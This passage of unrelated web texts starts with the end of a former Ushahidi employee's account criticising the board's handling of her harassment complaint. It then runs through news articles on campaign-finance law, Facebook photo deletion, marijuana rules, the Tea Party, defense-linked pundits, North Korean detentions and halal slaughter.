in the initial 60 days combined. An opaque process: Throughout the 74 days, and until now, I have had no clarity on how the board would handle this issue, save for the letter issued by the Board’s advocates after the meeting of 20 June 2017 where the terms of engagement of the hearing were set out. At no point did the Board provide me with the timelines within which they intended to conclude this matter. They could have chosen to do this any way they wanted as the Ushahidi whistleblower policy is vague and only states “The Ushahidi’s Compliance Officer will notify the person who submitted a complaint and acknowledge receipt of the reported violation or suspected violation. All reports will be promptly investigated and appropriate corrective action will be taken if warranted by the investigation.” And even when a process was outlined, it was not as advertised. For instance, the inquiry that the board held was framed as a “conversation to try and establish what happened and seek clarification” but in my view, the “conversation” quickly degenerated to my being subjected to over 2.5 hours of brutal questioning designed not to get at the truth but to create an alternative narrative where the perpetrator became the victim. Even the 27-page Inquiry Report on this process ends with a Notice To Show Cause that once again has no timelines or clarity on when the process will end. Character attacks: During the inquiry, I had several harmless and not so harmless personality flaws used against me. Because I have a potty mouth and used the word “fuck” during the incident, it was suggested that I am the one who turned the conversation to sex and thus invited Daudi’s sexual overtures. This was despite the fact that I did not use the word in a sexual context (see this video for various uses of the word “fuck”). It was also implied that I actively welcomed Daudi’s sexual proposition because I did not vociferously voice my protest at his inappropriate remarks but instead tried to change the subject. The refusal to listen to, let alone address my concerns: Throughout this process, I have been provided with no opportunity to openly air my concerns to the board or receive a response to them. The issues I raised in my letters, such as Erik asking Ushahidi staff to report any sexual harassment to management, including Daudi, were not addressed. Even at the hearing, I was not permitted to ask any questions — I was not even allowed to explain why I resigned! The blame for what is arguably the mismanagement of this entire issue lies squarely with the Board. David Kobia, Erik Hersman, Juliana Rotich and Jenny Stefanotti need to jointly and severally take responsibility for this. Their failure to properly manage my complaint is the sole reason I resigned from a job I was very fond of and was very good at. Their failure to set out crystal clear parameters for the hearing allowed Daudi’s counsel to turn it from an inquiry to a ‘courtroom’ with him as the prosecutor and the judge. Their failure to speak up or intervene as I was harangued for over 2.5 hours — even when my counsel objected — indicates that they found this acceptable. They also lacked the independence to properly investigate and take action in this matter. This is evidenced by the following: Previous knowledge of similar allegations: Daudi has a long history of allegations of sexually harassing women from his days in the Kenya Blogger Webring (KBW), which was active in the mid to late 2000s. What is even more horrifying is that at least three of the Board members have known about Daudi’s alleged penchant for harassing women for a significant period of time. Juliana was an administrator at Kenya Unlimited as this was going on, while David Kobia was a co-founder and forum administrator at Mashada. Erik was also active online during this period and presumably was aware of these accusations. Even if he might not have heard of these allegations in the aughts, Erik Hersman was explicitly informed about allegations of sexual harassment against Daudi in late 2015 when a prominent Kenyan tech entrepreneur told him about them in November 2015. The allegations this time included sending unsolicited “dick pics” to women via DM on Twitter and making unwanted sexual advances to women within the Bishop Magua building (where Ushahidi, BRCK, GearBox and iHub were then located) and in the wider tech ecosystem. At this time Daudi was the acting Executive Director of Ushahidi Kenya. Despite all this knowledge, the Ushahidi Board made Daudi’s Executive Director position permanent in January 2016. Furthermore, even when presented with unequivocal proof of gross misconduct, as I did when I made my complaint on May 4th 2017, the board had to be subjected to intense public pressure before they did anything meaningful. For over nine weeks after I lodged this complaint, Daudi continued to act in his capacity as Executive Director: he participated in project meetings, strategy sessions and even international travel as the face of the organisation, including attending the 2017 Advancing Good Governance seminar and the 6th Annual Luxembourg Peace Prize Awards. He was only sent on compulsory leave on the same day that Quartz Africa ran a story (12th July). All through this ‘investigation’, the Board has bent over backwards to accommodate the requests of Daudi and his lawyer. Initially, they asked for the same level of procedure as a criminal court (e.g. witness lists and sworn statements) without having the authority to do so. Later, they turned around and insisted that it was an internal investigation and thus should exclude evidence from sources outside the company. The Board acceded to Daudi’s lawyer’s demands, apparently because they were afraid of a wrongful termination suit being filed by Daudi. This is at best disingenuous and at worst malicious. A company with the ethos Ushahidi purports to have should not shy away from doing what is right for fear of a lawsuit. Besides, had Daudi sued Ushahidi, he’d have effectively turned a private matter public as he would have had to declare why he was terminated. Court documents in Kenya are public documents: having my complaint and particularly that audio recording in the public domain logically went directly against his own best interests. Daudi’s explanation for the events of the evening was that he lost an earpiece of his hearing aid and Erik, as well as the Aberdare staff, were helping him look for it. I then allegedly joined them without invitation and refused to leave him so all his statements were made in an effort to get rid of me. However, at the time of our conversation, Erik had already retired to bed for the night. This can be attested to by any of the Ushahidi Team Members who were still at the bonfire. During the hearing, Erik did not correct Daudi on this point and in so doing, indirectly corroborated that untruth. Even if Erik had been awake, the fact that he was called upon as part of Daudi’s “alibi” should have clearly demonstrated his lack of independence. Erik should not have been a part of the panel that the Board constituted to investigate and make a decision. One cannot be a witness and judge in the same case! To date, Daudi still has his job: From the board’s latest update, Daudi has only been suspended. It is entirely possible that he may be reinstated in the company. This is despite the Board possessing audio evidence of him sexually harassing his junior as well as allegations from a plurality of victims which relate to multiple occurrences. Even with this, it still took public pressure for the Board to first send him on leave then suspend him. This is unacceptable. How are victims supposed to come forward if this is how a company with the reputation of Ushahidi handles these incidences? I’ve received several explanations for the delay: The Board claims that this was a complex matter because Ushahidi is domiciled in the US, yet the employees are Kenyan and the incident occurred in Kenya. It really wasn’t that complicated. Florida and Kenyan law are in sync when it comes to sexual harassment laws: we checked this before we submitted my complaint and even attached excerpts from both countries’ laws. The Board has also claimed that they were not able to action my complaint as quickly as they would have liked because they were trying to avoid a wrongful termination suit. As explained above this is insincere. Based on the speed of events from the 3rd of July, this could have been handled in 2 weeks. So why did it take 74 days? It seems clear that the board was looking for reasons not to act despite their verbal and written assurances to the contrary. In such a case, the will to act is all that matters. Not assumed best intentions. And based on their findings, Daudi is guilty of misconduct on several fronts. None of that was news and was obvious even before the 5th July Inquiry was held. This should not have taken as long as it did. As detailed extensively above, for some mysterious reason the Ushahidi board and leadership has been reluctant to take action even when presented with clear evidence about Daudi’s misconduct. This completely boggles the mind because this scandal poses an existential risk to Ushahidi as an organisation. The Nairobi grapevine was already buzzing with rumours of this complaint after it was made on 4th May. The board just seems to have gone out of its way to avoid dealing with my complaint. The board has also been less than forthright in the following ways: Clay Shirky left the Board of Ushahidi in October 2015. This was not announced internally nor externally. Up until 15th July, Clay was still listed on the website as a Board Member. The summary of the proceedings at the inquiry is dubiously interpreted, contains some outright misrepresentations as well as the omission of relevant sections. This can be borne out by the recording of said proceedings which the Board possesses and I invite them to share this recording in its entirety with the public. Internally, Ushahidi has an open door policy. However, it seems that this openness exists in spite of, and not because of the Board. Erik has invited the staff to report any incident of harassment assuring them that the Board will handle it swiftly. This assurance is solidly contradicted by how the Board has thus far treated the two staff members who were sexually propositioned on 19th January 2017, one of whom had evidence (myself) and one who did not. The Chronology of Events provided by the Board on 17th July is economical with the truth. Specific examples that demonstrate this are: The failure to mention that I was travelling for work when I was unavailable on 31st May. This is information the Board had easy access to and should have taken into consideration when they proposed a date for the hearing. The inaccurate description of the process of the giving of the evidence (5th to 15th June). See the timeline for what actually transpired, with an explanation for the delays. The inaccurate description of the process of agreeing upon the terms of engagement to be used at the inquiry (20th and 27th June) 5th July: At the hearing, the Board stated they needed a week to make their decision. This has now been revised to “7 working days to communicate its decision” “5th July: The Board communicates its decision to send the Respondent on leave until a decision is made.” It is not clear who they communicated that with. It certainly was not to me in the course of the hearing nor to the staff as I had access to e-mails until 10th July and this had definitely not been communicated to the team by then. Daudi was first sent on leave on 12th July after significant community and public pressure. All in all, this complaint has been completely and utterly mismanaged from Day 1. Both the tech community and Kenyan society at large need to reject the terrible precedent that the Board of Ushahidi has set. Their process has been deeply flawed and this should not be ignored just because they have ostensibly come to the correct conclusion. In cases such as these, the means matter just as much as the end. Having been on the wrong end of a poorly managed process, I would suggest that all organisations revisit their sexual harassment procedures and evaluate them in light of best practices. Specifically, they need to ensure that the following issues have been addressed: A well-articulated process should be described that covers: Timelines: The time taken for the entire process should be as short as possible. A maximum of 14 calendar days seems to be an acceptable global standard. The process to be followed: In what form and way should employees submit complaints or raise concerns? Are there alternate persons to whom employees can submit such complaints when the complaints are against the very person they are normally supposed to submit them to? Is evidence of a claim required? If yes, what kind? What each stage of the process will do, when it will be done and why. What form communication during the process will take and what each party should expect to hear / receive at each stage. Notification of other staff: Be explicit on what staff will be notified, when and in what form. Channel to raise concerns: A means should be created to allow all parties to raise any issues they have as the process is ongoing. Appeal process: if the outcome is not satisfactory to the parties, what if any avenues for recourse do they have? Support to the parties: what, if any, psychological support are the victim and perpetrator entitled to? When and where is this support available, and for how long? Leave of absence during the investigation: If and for how long the victim and perpetrator should be sent on compulsory (paid) leave as the investigation process is undertaken. Communication with the rest of the company and the outside world: A policy should exist on what is revealed, when and how to other staff as well as to parties outside the organisation. It should go without saying it seems that it must be said: Sexual harassment is not a harmless or victimless crime. Because of it, I’ve had to resign from a job I liked and was very good at. This has been detrimental to both the Programme, and the organisation as a whole. I know of people who have been forced to resign due to harassment and are subsequently unable to find new jobs and new sources of income. This is because at its core sexual harassment is about an abuse of power. The person in a position of power leaves the victim in a position where they either remain silent or lose their livelihood. We cannot be speaking of building inclusive workplaces for women (who bear the brunt of the majority of sexual harassment cases) when we are still contending with such rudimentary issues as ensuring that offices are free of harassment. Based on how effectively my complaint was bungled, Ushahidi’s reputation has taken a massive hit. This need never have happened and is completely unfair to the majority of the staff of the organisation who have played absolutely no part in this series of unfortunate events, and to this day remain mostly in the dark about exactly what transpired. It breaks my heart that the good people who work at Ushahidi have been damaged by the actions of David Kobia, Erik Hersman, Juliana Rotich and Jenny Stefanotti. The good work that Ushahidi has done over the past 10 years, and continues to do should not be tarnished by the actions and lack thereof of this Board. In order to begin the healing process within the company, and for the world to begin to regain confidence in Ushahidi, the Board should resign in its entirety. Only new management can begin to repair the damage done. There is a Swahili saying: “Mwenzako akinyolewa, na wewe tia maji”. Current employees who have witnessed first hand how poorly I have been treated have very real fears about how their issues and concerns will be handled in the future. Only a fresh and independent Board and Executive Director can provide the assurances that the staff, the Kenyan tech community and the world at large need, as we all move on from here. A good first step would be to set up a Kenya HarassMap deployment and put aside some resources to pay for any legal and counselling support services to other victims of Daudi and other sexual predators. Ushahidi is a great company with a valuable product. I hope the Board can put their egos aside and do what’s best for the company, which is stepping aside to give Ushahidi a chance to rebuild its reputation. Update: Timeline updated on 21 July to correct typos and add a missing link -The decision Monday, the Roberts court’s first direct look at public campaign financing, concerned only systems that use matching funds, as opposed to lump-sum grants. About a third of the states have some form of public financing, as does the federal government for presidential elections. “We do not today call into question the wisdom of public financing as a means of funding political candidacy,” Chief Justice Roberts wrote. “That is not our business.” Supporters of the law said the decision could have been worse. “Chief Justice Roberts at least recognized that public financing is a valid constitutional option,” said Monica Youn, a lawyer with the Brennan Center for Justice, which represented one of the defendants in the case. As a consequence of the decision, states and municipalities are now blocked from using a method of public financing that is simultaneously likely to attract candidates fearful that they will be vastly outspent and sensitive to avoiding needless government expense. “The government can still use taxpayer funds to subsidize political campaigns, but it can only do that in a manner that provides an alternative to private financing” said William R. Maurer, a lawyer with the Institute for Justice, which represented several challengers of the law. “It cannot create disincentives.” Chief Justice Roberts said that all escalating matching funds placed an unconstitutional burden on politicians who chose not to participate. But he added that Arizona’s system also created problematic asymmetries and anomalies. Candidates with several opponents could generate multiple subsidies every time they spent money, and spending from unaffiliated supporters could do the same. Justice Antonin Scalia, Anthony M. Kennedy, Clarence Thomas and Samuel A. Alito Jr. joined the majority opinion. Advertisement Continue reading the main story Three years ago, in Davis v. Federal Election Commission, another 5-to-4 decision with the same justices in the majority, the court struck down a superficially similar federal law known as the “millionaire’s amendment.” That law allowed candidates to raise amounts over the usual contribution limits when rich opponents spent more than a given amount of their own money. Justice Alito, writing for the majority, said the law imposed “an unprecedented penalty on any candidate who robustly exercises” free speech rights guaranteed by the First Amendment. Chief Justice Roberts said the logic of the Davis decision required the court to strike down the Arizona law. Indeed, he said, it is one thing for the government to allow candidates to seek additional contributions and another for the government to send a check. Newsletter Sign Up Continue reading the main story Please verify you're not a robot by clicking the box. Invalid email address. Please re-enter. You must select a newsletter to subscribe to. Sign Up You will receive emails containing news content , updates and promotions from The New York Times. You may opt-out at any time. You agree to receive occasional updates and special offers for The New York Times's products and services. Thank you for subscribing. An error has occurred. Please try again later. View all New York Times newsletters. “The cash subsidy, conferred in response to political speech, penalizes speech to a greater extent and more directly than the millionaire’s amendment in Davis,” Chief Justice Roberts wrote. The decision concerned two consolidated cases, Arizona Free Enterprise Club v. Bennett, No. 10-238, and McComish v. Bennett, No. 10-239. It was the fifth ruling from the Roberts court cutting back on the government’s ability to regulate campaign finance. In a dissent summarized from the bench, Justice Elena Kagan said the Arizona law advanced First Amendment values. “What the law does — all the law does — is fund more speech,” she wrote. Justices Ruth Bader Ginsburg, Stephen G. Breyer and Sonia Sotomayor joined the dissent. “Arizona, remember, offers to support any person running for state office,” Justice Kagan wrote. The candidates who challenged the law declined to accept that help, she said. “So they are making a novel argument: that Arizona violated their First Amendment rights by disbursing funds to other speakers even though they could have received (but chose to spurn) the same financial assistance,” Justice Kagan wrote. “Some people might call that chutzpah.” Advertisement Continue reading the main story The Davis decision, Justice Kagan wrote, involved a different issue, as it concerned a law that raised contribution limits disproportionately. The majority and dissent disagreed about whether the Arizona law was supported by a permissible government rationale. Chief Justice Roberts wrote that its main purpose was to level the playing field for political speech, which several earlier decisions have said is an improper goal. “It is not legitimate for the government to attempt to equalize electoral opportunities in this manner,” he wrote. “And such basic intrusion by the government into the debate over who should govern goes to the heart of First Amendment values.” “ ‘Leveling the playing field,’ ” Chief Justice Roberts wrote, “can sound like a good thing. But in a democracy, campaigning for office is not a game.” Justice Kagan countered that the main purpose of the law was to root out corruption and the appearance of corruption by encouraging candidates to participate in public financing systems, a goal the Supreme Court has endorsed. “Like citizens across this country, Arizonans deserve a government that represents and serves them all,” she wrote. “And no less, Arizonans deserve the chance to reform their electoral system so as to attain that most American of goals. Truly, democracy is not a game.” -FILE- In this Friday, May 18, 2012, file photo, a child looks at a laptop displaying Facebook logos in Hyderabad, India. Facebook said Monday, June 4, 2012, it is testing out ways to allow younger kids on its site without needing to lie. (AP Photo/Mahesh Kumar A., File) Facebook has finally forgotten about that drunken night in college when you vomited on that one friend who never talked to you again. Any deleted photo from that episode, or any photo deleted by users for whatever reason, has finally been removed from the social network's servers, it appears. (Now if only your friend could permanently forget about the incidence too.) Since 2009, Ars Technica's Jacqui Cheng has doggedly tracked how long it takes big photo-sharing sites to permanently delete photos after a user hits "Delete." Her method was simple: save a photo's URL, delete the photo and wait to see how long it takes for the link to die. For Twitter and Flickr, it took seconds. For MySpace (remember that?), it took months. But for Facebook, Cheng found it could take years. In some cases, photos deleted in 2009 were still on Facebook servers in 2012. In February, Facebook explained to Cheng "[w]e have been working hard to move our photo storage to newer systems which do ensure photos are fully deleted." Now, Cheng is happy to report that she has "tested this with two photos while saving their direct URLs, and both photos became inaccessible within two days of deletion." Her readers got similar results. First, let us say, Good job, Facebook. Like how we train a dog, we ought to reward good behavior as well as punish bad. The media, rolling up its newspaper, has knocked Facebook on the nose for many no-nos: swapping users' listed email addresses for Facebook addresses, accidentally showing people's private chats to the public, to name a few snafus. We're glad to finally give Facebook a treat. But why did this take so long to implement? "The systems we used for photo storage a few years ago did not always delete images from content delivery networks in a reasonable period of time even though they were immediately removed from the site," Facebook told Ars Technica on Thursday. During its period of massive growth, Facebook apparently found it difficult to expand its servers and delete photos in a timely fashion. But now that new photo storage, installed in February, apparently deletes photos within 30 days, according to Facebook. Perhaps what this tells us several months later is that Facebook wanted to get serious about privacy -- including making sure that unwanted photos weren't being stored after users tried to delete them -- as it hurtled toward its initial public offering in May. As a publicly traded company, it's reasonable to expect Facebook to be more sensitive to privacy concerns. -Several states voted to legalize marijuana this past Election Day but the pot business still has a gripe—regulations. Though decriminalized on some level in 19 states and the District of Columbia (it remains illegal under federal law), marijuana is still subject to regulations that strike some in the industry as micromanagement. One company that tracks regulations is Cannabiz Media, which publishes the “Marijuana Licensing Reference Guide.” It recently posted a list of what it describes as the “10 weirdest marijuana laws.” For example, in Nevada and Oregon, signage for businesses that sell pot is regulated down to the font size and even font style. Connecticut bans the uses of illuminated signs while Washington, DC, makes it a point to outlaw the sale of pot at gasoline stations or auto repair shops. Ed Keating, the person who compiled the list, sees such regulations as more than just a nuisance, particularly for medical marijuana dispensaries. “It’s really hard to comply with these regulations because they are so particular and, in some cases, they just don’t seem to make a lot of sense,” he said. “If you’re a business trying to get medicine to your patients… some of these regulations are very expensive to comply with.” However, Keating isn’t entirely against regulations and argues that some control would be in the industry’s best interests. “In a lot of states now, they’re starting to put what an appropriate dosage or amount is to consume,” he said, noting that Maureen Dowd’s 2014 New York Times piece on her overdose of marijuana-infused chocolates showed the dangers of no labeling. “That makes a lot of sense for safety.” “The other area that has seen a lot of regulatory scrutiny is testing because they want to make sure that if people are consuming this as medicine—or even recreationally—they’re given a safe product,” he continued. “Where it gets dangerous is when people concentrate that product into a liquid, an oil. You’re raising the concentration of everything. So if there are bad chemicals in there, they get much more concentrated and it could be a danger to people. So I think we’ll be seeing even more regulations there.” -The movement is not going away — most Republicans in the House have more to fear from primary challengers on their right than from Democratic challengers. An unpopular budget deal could reignite the Tea Party, as the antitax crusader Grover Norquist predicts. But surveys of voters leaving the polls last month showed that support for the Tea Party had dropped precipitously from 2010, when a wave of recession-fueled anger over bailouts, federal spending and the health care overhaul won the Republicans a majority in the House. The House members elected with Tea Party backing in 2010 forced onto the national agenda their goals of deep cuts to spending and changes to entitlement programs, embodied by the budget blueprints of Representative Paul D. Ryan of Wisconsin, who became Mitt Romney’s running mate. And some of those lawmakers led the revolt last week that prompted Speaker John A. Boehner to cancel a House vote on a plan to avert a year-end fiscal crisis by raising tax rates on household income above $1 million. “The Tea Party put a lot of steel in the spine of the Republican Party,” said Representative Tom Cole of Oklahoma. But the Tea Party activists have not been front and center in the fiscal fight. And Mr. Cole added that Tea Party leaders now excoriating Mr. Boehner for offering higher taxes in a budget deal did not recognize political reality. “These guys want instant success,” said Mr. Cole, a member of the House Republican leadership. “If they want to see a better result, they’ve got to help us win the United States Senate. We’ve thrown away some seats out of political immaturity.” But a number of Republican leaders said the Tea Party seemed headed toward becoming just another political faction, not a broad movement. It may rally purists, but it will continue to alienate realists and centrists, they said. Advertisement Continue reading the main story “I think the Tea Party movement is to the Republicans in 2013 what the McGovernites were to the Democrats in 1971 and 1972,” said Don Gaetz, a Republican who is the president of the Florida Senate. “They will cost Republicans seats in Congress and in state legislatures. But they will also help Republicans win seats.” Photo Because the Tea Party comprises thousands of local groups, it is impossible to determine whether its ranks shrank after the many electoral defeats last month, which activists said caused grief and deep frustration. Greg Cummings, the leader of the We the People Tea Party in rural Decatur County, Iowa, said his group had picked up 12 members since the election, for a total of about 50. “If you were in a fight and someone gave you a good left hook, it doesn’t mean the fight is over,” he said. But Everett Wilkinson, the chairman of the Florida Tea Party in Palm Beach County, said the number of active Tea Party groups statewide “has diminished significantly in the last year or so, certainly in the last couple of months,” with only a third of what there once was. Newsletter Sign Up Continue reading the main story Please verify you're not a robot by clicking the box. Invalid email address. Please re-enter. You must select a newsletter to subscribe to. Sign Up You will receive emails containing news content , updates and promotions from The New York Times. You may opt-out at any time. You agree to receive occasional updates and special offers for The New York Times's products and services. Thank you for subscribing. An error has occurred. Please try again later. View all New York Times newsletters. “A lot of people gave their heart and soul to trying to get Obama out; they’re frustrated,” he added. “They don’t know what to do. They got involved with the electoral process, and that didn’t work out.” FreedomWorks, a national group that has played a crucial role in organizing Tea Party activists and backing insurgent candidates, has been riven by turmoil, leading to the departure last month of its chairman, Dick Armey, a former Republican majority leader in the House. Mr. Armey said in news accounts that he questioned the ethical behavior of senior officials in the group, though others told of a power struggle. He was eased out with an $8 million consulting contract, a copy of which was obtained by The Associated Press. FreedomWorks spent nearly $40 million on the 2012 elections but backed a string of losing Senate candidates, including Richard E. Mourdock of Indiana, Josh Mandel of Ohio and Connie Mack of Florida. Some Tea Party firebrands lost their House seats, including Allen B. West of Florida and Joe Walsh of Illinois. One notable success for the Tea Party was the Senate victory by Ted Cruz of Texas. Mr. Cummings, who is the Midwest coordinator for Tea Party Patriots, a national group, said a major issue he would be focusing on now was Agenda 21, a United Nations resolution that encourages sustainable development. It has no force of law in the United States, but a passionate element of the Tea Party sees it as a plot against American property rights. Advertisement Continue reading the main story Billie Tucker, an activist with the First Coast Tea Party in Florida, said she and others suspected that corruption on local election boards had led to Mr. Obama’s victory in the state. Activists want to investigate. “Some people say it’s just a conspiracy theory, but there’s rumbling all around,” she said. “There’s all kinds of data, and no one’s talking about it, including, hello, the mainstream media.” Another issue boiling is the “nullification” of the Affordable Care Act. Angry that Mr. Obama’s re-election means that the health care law will not be repealed, some activists claim that states can deny the authority of the federal government and refuse to carry it out. At a Florida State Senate meeting this month, two dozen Tea Party activists called the law “tyrannical” and said the state had the right to nullify it. Mr. Gaetz, the Senate president, a conservative Republican, said in an interview that he, too, disagreed with the Supreme Court ruling that upheld the law. But he called nullification “kooky.” “We’re not a banana republic,” he said. It is “dangerous to the foundation of the republic when we pick and choose which laws we will obey.” -Former Bush administration official Stephen Hadley, a forceful advocate for a military strike against Syria, owns about $875,000 worth of stock in Raytheon, which manufactures Tomahawk cruise missiles . (Alex Brandon/ASSOCIATED PRESS) Military analysts who made frequent media appearances during the recent debate over a possible U.S. strike on Syria have ties to defense contractors and other firms with stakes in the outcome, according to a new study, but those links were rarely disclosed. The report by the Public Accountability Initiative, a nonprofit watchdog, details appearances by 22 commentators who spoke out during this summer’s Syria debate in large media outlets and currently have industry connections that the group says can pose conflicts of interest. In some cases, the potential conflicts were clear-cut — such as board positions and shares in companies that make weapons that probably would have been used in any U.S. action. In other instances, including work for private investment and consulting firms whose clients are not disclosed, it was not possible to know whether those speaking had an interest in the debate. The report also notes the prominent role of seven think tanks during the debate and their close links to defense companies. “We found lots of industry ties. Some of them are stronger than others. Some really rise to the level of clear conflicts of interest,” said Kevin Connor, the group’s director and a co-author of the report. “These networks and these commentators should err on the side of disclosure.” In several media appearances in September, Stephen Hadley, a former national security adviser to President George W. Bush, was a forceful advocate for strikes. He told Bloomberg TV that Republicans should back the president’s use-of-force resolution and argued in a Washington Post op-ed that failure to punish Syrian President Bashar al-Assad for using chemical weapons against his own people would damage U.S. credibility if military action were threatened over Iran’s nuclear program. While Hadley’s role in the Bush administration was always noted, there was no mention of his ties to Raytheon, manufacturer of Tomahawk cruise missiles, which likely would have been fired from Navy destroyers stationed in the eastern Mediterranean in strikes against Syria. Hadley has been on the board of directors of Raytheon since 2009 and, according to a Securities and Exchange Commission filing from June included in the new report, owned 11,477 shares of Raytheon stock, now worth about $875,000. Hadley was also paid $128,500 in cash compensation by the company last year, according to a filing with the SEC. In one appearance, CNN noted that Hadley is a principal at RiceHadleyGates, an international strategic consulting firm based in Silicon Valley and Washington. Fred Hiatt, editorial page editor at The Post, said Hadley’s opinions in the newspaper’s op-ed commentary were not colored by his association with Raytheon. “More disclosure is generally better than less, but I’m confident that Hadley’s opinion piece, which was consistent with the worldview he has espoused for many years, was not influenced by any hypothetical, certainly marginal, impact to Raytheon’s bottom line,” Hiatt said in a statement. A spokesperson said Hadley was traveling in China and unavailable for comment. Retired Marine Gen. Anthony Zinni, a former commander of the U.S. Central Command, also made several media appearances to discuss the Syrian situation and cautioned that the kind of limited intervention that was being proposed has in the past been difficult to accomplish. But in the five appearances covered by the study, his ties to the defense industry were not disclosed. Zinni has been on the board of directors of BAE Systems, a top defense contractor, since 2002 and was board chairman from 2009 to 2012. The company specializes in cybersecurity, intelligence analysis and several weapons systems. Zinni, in addition, sits on the board of advisers of DC Capital Partners, a private equity firm that focuses on investments in intelligence, homeland security and other sectors. Reached by e-mail, Zinni said his board memberships are public. “The media who contact me for comment should post any relevant info re my background including my board positions if they desire,” he wrote. Retired Gen. Jack Keane, a former Army vice chief of staff, made frequent appearances as well, including as a Fox News military analyst, during which he supported U.S. action against Syria. His military career and his affiliation with the Institute for the Study of War, a Washington think tank where he is board chairman, were regularly cited. But there was no disclosure of Keane’s ties to General Dynamics, where he has been on the board since 2004, and to SCP Partners, a venture capital firm focused in part on investments in defense and security, where he is a venture partner. General Dynamics’ Bath Iron Works is the lead designer and builder of the destroyers from which the Tomahawk missiles would have been launched. Keane’s office said he was not available to comment. Asked about the report’s findings, Michael Clemente, executive vice president of news at Fox News, said in a statement, “We generally disclose contacts when our judgment is that it’s journalistically germane to the story.” Two other networks where analysts covered by the report made frequent appearances, CNN and NBC, did not respond to requests for comment. -Metal Gear Solid 5: The Phantom Pain was our game of the year in 2015, however the foundations for it were laid by standalone introductory chapter Ground Zeroes. Today, Konami has announced Metal Gear Solid V: The Definitive Experience which gathers both games and a bunch of DLC under one banner. Due to launch via Steam on October 13, players can expect “additional Mother Base currency”, as well as a slew of items, including Rasp Short-Barrelled Shotguns, the Adam-ska Special handgun, a range of Personal Ballistic Shields, and a number of costumes for The Phantom Pain. Previously console-exclusive Ground Zeroes missions—Déjà Vu and Jamais Vu—are also included, as are a number of DLC packs and weapons for Metal Gear Online. “Metal Gear Solid V has received collectively over 60 industry accolades and awards thus far,” says Konami president Tomotada Tashiro in a statement. “The Definitive Experience will give players an opportunity to play the complete MGSV experience, without interruption. Additionally, with Metal Gear Online, players also get access to a completely unique multi-player setting that is designed for a truly engrossing gaming experience as well.” Metal Gear Solid V: The Definitive Experience is due October 13. Console versions will cost £34.99/$39.99, however Steam pricing is yet to be confirmed. Read Sam’s review of The Phantom Pain over here. -WASHINGTON (Reuters) - Republican presidential candidate John McCain’s campaign said on Monday a McCain opinion article about Iraq offered to The New York Times as a rebuttal to Democrat Barack Obama had been rejected. Republican presidential candidate Senator John McCain (R-AZ) speaks at a campaign picnic outside the Maine Military Museum in South Portland, Maine July 21, 2008. REUTERS/Brian Snyder The McCain camp had submitted the article to The Times as a response to a piece by Obama published by the newspaper last week. “My Plan for Iraq” had detailed Obama’s goal of withdrawing U.S. troops from Iraq in 16 months if he is elected on November 4. The McCain article was largely a critique of Obama’s position, arguing against establishing a set timetable for pulling U.S. troops out of Iraq. McCain is attempting to make sure his voice is heard while Obama picks up headlines with a visit this week to Afghanistan and Iraq and elsewhere in the Middle East and Europe. “During the course of eight visits to Iraq, I have heard many times from our troops what Major General Jeffrey Hammond, commander of coalition forces in Baghdad, recently said: that leaving based on a timetable would be ‘very dangerous,’” McCain wrote. An e-mail sent to the McCain staff by a Times editor said it would be terrific to have an article from McCain but that the one sent in was not acceptable as currently written and that a new draft should articulate how McCain defines victory in Iraq. The McCain campaign, which does not feel McCain gets equal treatment in the U.S. news media, expressed dismay at the Times’ decision and suspected it was because the Times did not agree with McCain’s policy. “John McCain believes that victory in Iraq must be based on conditions on the ground, not arbitrary timetables. Unlike Barack Obama, that position will not change based on politics or the demands of The New York Times,” said McCain campaign spokesman Tucker Bounds. The New York Times said it was standard procedure to have a “back and forth with an author about his or her submission” and looked forward to publishing McCain’s views. “We have published at least seven Op-ed pieces by Senator McCain since 1996. The New York Times endorsed Senator McCain as the Republican candidate in the presidential primaries. We take his views very seriously,” said the statement from Times spokeswoman Catherine Mathis. -North Korea has detained another U.S. citizen, a Korean American professor, bringing to three the number of Americans being held in Pyongyang. The Swedish Embassy in Pyongyang, which represents U.S. interests there because the United States does not have diplomatic relations with North Korea, confirmed to The Washington Post that a U.S. national had been detained. In Washington, the State Department said it was aware of the report. Media in South Korea identified the man as Kim Sang-duk, a former professor at the Yanbian University of Science and Technology (YUST) in the northeastern Chinese city of Yanji, near the border with North Korea. Kim was arrested at Pyongyang’s international airport Friday as he was waiting to board a flight, South Korea’s Yonhap News Agency reported. Kim had been teaching a class in international finance and management at the Pyongyang University of Science and Technology, a sister institution, for a month and was leaving the country with his wife when he was arrested, the specialist website NK News quoted the chancellor of PUST, Park Chan-mo, as saying. [What it’s like to be an American held in North Korea] North Korea has taken a slew of Americans hostage in recent years and used them as bargaining chips in negotiations with the United States. It is holding two other Americans. Otto Warmbier, a University of Virginia student who went on a tour in North Korea while on his way to a study-abroad program in Hong Kong, was detained for allegedly trying to steal a propaganda sign from a Pyongyang hotel on New Year’s Day last year. He was convicted of subversion in March after a court found that he had committed a crime “pursuant to the U.S. government’s hostile policy” toward North Korea and was sentenced to 15 years of hard labor. [North Korea sentences college student to 15 years of hard labor] He has not been seen since March 2016, when he was convicted, and when Swedish diplomats were last allowed to meet with him. Another American, former Virginia man Kim Dong-chul, was charged with spying last April and was sentenced to 10 years in prison. Kim, who is in his early 60s, was born in South Korea but became a U.S. citizen in 1987, although he is thought to have been living in northeastern China in recent years. Previous American detainees have been released after a few months following visits from high-profile Americans, including former presidents Bill Clinton and Jimmy Carter. But so far, the North Korean regime has not used Warmbier and Kim as leverage. Read more: North Korea sentences former Va. man to 10 years of hard labor North Korea sentences U-Va. student to 15 years of hard labor in prison U-Va. student held in North Korea ‘confesses’ to ‘severe’ crime Today’s coverage from Post correspondents around the world Like Washington Post World on Facebook and stay updated on foreign news -Animals are dying in unnecessary agony because of a lack of understanding over how stunning stops them feeling pain when their throats are cut, research shows. In conventional slaughterhouses, cows, sheep and chicken are stunned, usually with an electric shock, to ensure they are unconscious before their throats are cut. This minimises suffering but in a number of Muslim abattoirs the animals are not stunned over fears it is not permissible, or 'halal'. In a number of Muslim abattoirs animals are not stunned before slaughter over fears it is not permissible, or 'halal' but research suggests this is due to ignorance of the process (file image) A study by researchers at the University of Bristol suggests some Islamic scholars are ignorant about the humaneness of stunning, leading to animals dying in pain,The Times reported. Widespread research shows the welfare benefits of pre-slaughter stunning. The electric shocks lessen the pain felt by animals when their throats are cut. A number of industry bodies have spoken out against the slaughtering of animals without pre-stunning, with the British Veterinary Association saying there is an 'unacceptable time lapse between slaughter and the onset of permanent insensibility [loss of feeling] when animals are not stunned'. Animals must also be stunned before slaughter under EU regulations. However Britain allows an exemption for those who oppose because of religious beliefs and the number of animals killed without stunning appears to be on the rise. RITUAL KILLING OF ANIMALS FOR 